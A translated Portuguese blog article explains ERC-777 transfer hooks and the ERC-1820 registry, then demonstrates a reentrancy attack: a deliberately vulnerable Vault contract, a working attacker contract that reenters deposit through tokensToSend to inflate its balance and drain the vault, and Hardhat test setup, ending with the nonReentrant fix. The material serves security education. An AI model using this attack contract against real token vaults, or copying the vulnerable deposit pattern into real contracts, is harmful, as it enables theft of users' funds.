Introdução
Os tokens são uma parte fundamental da experiência diária da média de usuários na blockchain, cumprindo muitas funções básicas, como negociação, empréstimo e transferência de fundos. Para proporcionar interatividade, usabilidade e uniformidade, foram introduzidos padrões de tokens, sendo que o padrão mais usado para a criação de tokens é o ERC-20 e o ERC-777, que são alguns padrões para tokens fungíveis que definem uma nova maneira de interagir com um contrato de token, mantendo a compatibilidade retroativa com o anterior.
Dito isso, um problema central de segurança introduzido por determinados padrões é a modificação do comportamento em métodos de contrato inteligente previamente definidos. Especificamente, o ERC-777, com sua adição de ganchos (hooks) de transferência, é um dos mais problemáticos nesse sentido.
Uma Nova Maneira de Interagir com um Contrato de Token
Um problema que foi descoberto logo após a adoção do ERC-20 é que os usuários, em vez de enviarem seus tokens para o destinatário desejado, acidentalmente, enviavam para o endereço do contrato, fazendo com que o saldo transferido ficasse permanentemente bloqueado. Portanto, a proposta que modifica o processo de transferência é necessária, de modo que, quando o destinatário é um contrato inteligente, a lógica primeiro garante que ele esteja esperando receber tokens, chamando um gancho no destinatário (proposto pelo padrão anterior ERC-223).
Outra peculiaridade do ERC-20 é que o código de um contrato inteligente no lado do receptor de uma transferência não é executado, como seria o caso das transferências de Ether nativo. Para que um contrato inteligente possa dizer de onde recebeu os fundos, surgiu uma UX (experiência de usuário) insatisfatória de um processo de duas etapas que envolve approve seguido de transferFrom. Portanto, é necessário um modo que permita que o remetente evoque opcionalmente o contrato de recebimento após a conclusão da transferência (ERC-677), com o objetivo de resolver esse problema com um exemplo popular, a Chainlink—LINK token).
Por essas razões, o ERC-777 foi publicado pela primeira vez em novembro de 2017, com a intenção de aprimorar os recursos e a funcionalidade oferecidos pelos contratos de token existentes. Ele apresenta sete melhorias importantes, incluindo a introdução de operadores aprovados que podem transferir tokens em nome dos usuários e com o registro no ERC-1820.
Contrato de Registro de Pseudo-introspecção
O padrão ERC-1820 define um contrato inteligente de registro universal em que qualquer endereço (contrato ou conta comum) pode registrar qual interface ele suporta e qual contrato inteligente é responsável por sua implementação. Esse padrão mantém a compatibilidade retroativa com o ERC-165.
O ERC-777 aproveita o ERC-1820 para descobrir se e onde notificar contratos e endereços comuns quando eles receberem tokens, bem como para permitir a compatibilidade com contratos já implantados.
Por exemplo, qualquer endereço (comum ou de contrato) que deseje ser notificado sobre débitos de tokens de seu endereço PODE registrar o endereço de um contrato implementando a interface IERC777Sender
.
Isso é feito chamando a função
setInterfaceImplementer
no registro do ERC-1820 com o endereço do titular como o endereço, o hashkeccak256
doERC777TokensSender
como o hash da interface e o endereço do contrato que implementa oIERC777Sender,
como implementador.
interface IERC777Sender {
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
Outro gancho que pode ser visto é o tokenReceived. Qualquer endereço (comum ou de contrato) que deseje ser notificado sobre créditos de token em seu endereço PODE registrar o endereço de um contrato que implemente a interface IERC777Recipient
.
Isso é feito chamando a função
setInterfaceImplementer
no registro do ERC-1820 com o endereço do destinatário como o endereço, o hashkeccak256
doERC777TokensRecipient
como o hash da interface e o endereço do contrato que implementa oIERC777Recipient
como o implementador.
interface IERC777Recipient {
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
}
Além disso, o próprio contrato de token ERC-777 DEVE registrar a interface ERC777Token
com seu próprio endereço, chamando setInterfaceImplementer com o endereço do contrato de token como endereço e implementador; e o hash do ERC777Token como hash da interface. Se também for o token compatível com o ERC-20, será necessário fazer uma chamada com o hash do ERC20Token.
constructor(
string memory name_,
string memory symbol_,
address[] memory defaultOperators_
) {
. . .
// registra interfaces
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
Implicações de Segurança
Do ponto de vista da segurança, a adição mais importante são os ganchos opcionais de pré-transferência. Eles diferem dos ganchos descritos anteriormente por executarem uma chamada não somente de leitura (tokensToSend
) para o sender ( remetente) da transferência, desde que o remetente tenha se registrado previamente no ERC-1820. Esse gancho transfere o fluxo de controle para o remetente, o que pode levar à exploração de vulnerabilidades de reentrância.
Considere o seguinte contrato simplificado, que permite aos usuários depositar e retirar tokens:
contract Vault {
// Token => Usuário => Saldo
mapping(IERC20 => mapping(address => uint256)) public deposits;
function deposit(IERC20 token, uint256 amount) external {
// Transfere os tokens.
// Calcular o valor exato recebido para lidar com a taxa de transferência e tokens semelhantes.
uint256 balanceBefore = token.balanceOf(address(this));
require(token.transferFrom(msg.sender, address(this), amount), "Transfer failed");
uint256 balanceAfter = token.balanceOf(address(this));
uint256 received = balanceAfter - balanceBefore;
// Aumenta o depósito do usuário
deposits[token][msg.sender] += received;
}
function withdraw(IERC20 token, uint256 amount) external {
// Reduz o depósito do usuário
deposits[token][msg.sender] -= amount;
// Envia os tokens
require(token.transfer(msg.sender, amount), "Transfer failed");
}
}
Nesse cofre, os tokens ERC-777 depositados podem ser retirados do contrato por um invasor ao reinserir a função deposit:
- Chame deposit com valor 0 (ou 1 wei se o token não suportar transferências de valor 0) por meio de um contrato de ataque.
- O Vault armazena em cache seu saldo e chama transferFrom, que na verdade chama a função interna _send com o campo requireReceptionAck falso.
- O contrato de token ERC-777 chama o gancho tokensToSend no contrato do invasor.
- O contrato do invasor ganha fluxo de controle e chama novamente o depósito com valor 0.
- Repita o procedimento acima algumas vezes.
- Depois de algumas repetições, chame o deposit com uma quantia maior, por exemplo, 100 tokens (apenas 1 token no meu caso) e pare de reentrar a partir daí.
- As chamadas anteriores de deposit agora continuarão após a linha transferFrom, uma após a outra, todas calculando o recebimento de 1 token (em vez do 0 esperado), ampliando assim o depósito do invasor pelo número de reentradas.
- Chamada withdraw para retirar os fundos. (No script de teste, fiz uma chamada para a função withdraw do contrato de ataque que, na verdade, retirou ou o saldo do cofre, ou o crédito do meu depósito, dependendo de qual seja o menor).
Para simular esse teste, precisamos implementar uma instância simples do ERC-777, herdando o exemplo do Openzeppelin. Também precisamos de um contrato de ataque que tenha a capacidade de depositar no Vault e sacar após a reentrada bem-sucedida.
contract MockERC777 is ERC777 {
constructor() ERC777("MockERC777", "M-777", new address[](0)) {}
function mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) external {
_mint(account, amount, userData, operatorData, false);
}
}
Para o contrato de ataque, deve ser implementada a interface IERC777Sender, a partir da qual se constrói um mecanismo de reentrada dentro do gancho tokensToSend.
import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
contract MockERC777Reentrancy is IERC777Sender {
IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
uint8 public counter;
constructor() {
// registra a interface _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this));
}
function deposit(address vaultAddr, address token, uint256 amount) external {
if(IERC20(token).allowance(address(this), vaultAddr) < type(uint256).max) {
IERC20(token).approve(vaultAddr, type(uint256).max);
}
Vault(vaultAddr).deposit(IERC20(token), amount);
}
function withdraw(address vaultAddr, address tokenAddr) external {
IERC20 token = IERC20(tokenAddr);
uint256 amount = Vault(vaultAddr).deposits(token, address(this));
Vault(vaultAddr).withdraw(token, amount > token.balanceOf(vaultAddr) ? token.balanceOf(vaultAddr) : amount);
}
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
console.log("Counter: ", counter);
if(counter > 10) return;
else if(counter == 10) amount = 1 * 1e18;
counter++;
Vault(operator).deposit(IERC20(msg.sender), amount);
}
}
Para o script de teste, é um pouco complicado aqui, por causa da implantação do registro ERC-1820. Para usar o mesmo endereço implantado desse registro 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24 no hardhat, precisamos implantá-lo manualmente seguindo as instruções da seção Deployment, que já escrevi no Typescript abaixo:
const ERC1820_ADDRESS = "0x1820a4b7618bde71dce8cdc73aab6c95905fad24";
const ERC1820_DEPLOYER = "0xa990077c3205cbDf861e17Fa532eeB069cE9fF96";
const ERC1820_PAYLOAD =
"0xf90a388085174876e800830c35008080b909e5608060405234801561001057600080fd5b506109c5806100206000396000f3fe608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c00291ba01820182018201820182018201820182018201820182018201820182018201820a01820182018201820182018201820182018201820182018201820182018201820";
export const ensureERC1820 = async (provider: any) => {
const code = await provider.send("eth_getCode", [ERC1820_ADDRESS, "latest"]);
if (code === "0x") {
const [from] = await provider.send("eth_accounts");
/// Para implantar o registro, primeiro DEVE ser enviado para essa conta 0,08 ether.
await provider.send("eth_sendTransaction", [
{
from,
to: ERC1820_DEPLOYER,
value: "0x11c37937e080000",
},
]);
/// Implante o Registro 1820 enviando uma transação bruta
await provider.send("eth_sendRawTransaction", [ERC1820_PAYLOAD]);
console.log("ERC1820 registry successfully deployed");
}
};
Importe isso no arquivo de teste e chame a função no gancho beforeAll
this.beforeAll(async () => {
await network.provider.send("evm_setIntervalMining", [1000]);
/// Iniciar o Registro 1820
await ensureERC1820(network.provider);
});
Meu caso de teste estava seguindo as etapas descritas anteriormente. Depois de executar os scripts, verificamos que o saldo do Vault era 0, enquanto esse valor para o invasor era de 12 tokens (1 token para a última chamada de depósito quando o contador era igual a 10, 10 vezes durante a chamada do gancho tokensToSend com 0 token de envio e o token inicial).
Para evitar esse tipo de ataque, o método popular é aplicar o padrão Mutex, que usa o modificador nonReentrant do ReentrancyGuard.sol do OpenZeppelin, para a função deposit.
Conclusão
Embora o ERC-777 não tenha sido adotado em um nível próximo ao dos padrões ERC-20 ou ERC-721, ele ainda coloca em risco os projetos criados com base nele. Portanto, as exchanges descentralizadas, as pontes (bridges) de tokens ou as plataformas de empréstimo sem necessidade de permissão devem estar cientes da gravidade desse risco e tomar medidas para proteger seus usuários contra os problemas de reentrância apresentados pelos tokens que usam esse padrão.
Siga-me no Linkedin para se manter conectado
https://www.linkedin.com/in/ninh-kim-927571149/
Esse artigo foi escrito por BrianKim e traduzido por Fátima Lima. O original pode ser lido aqui.
Top comments (0)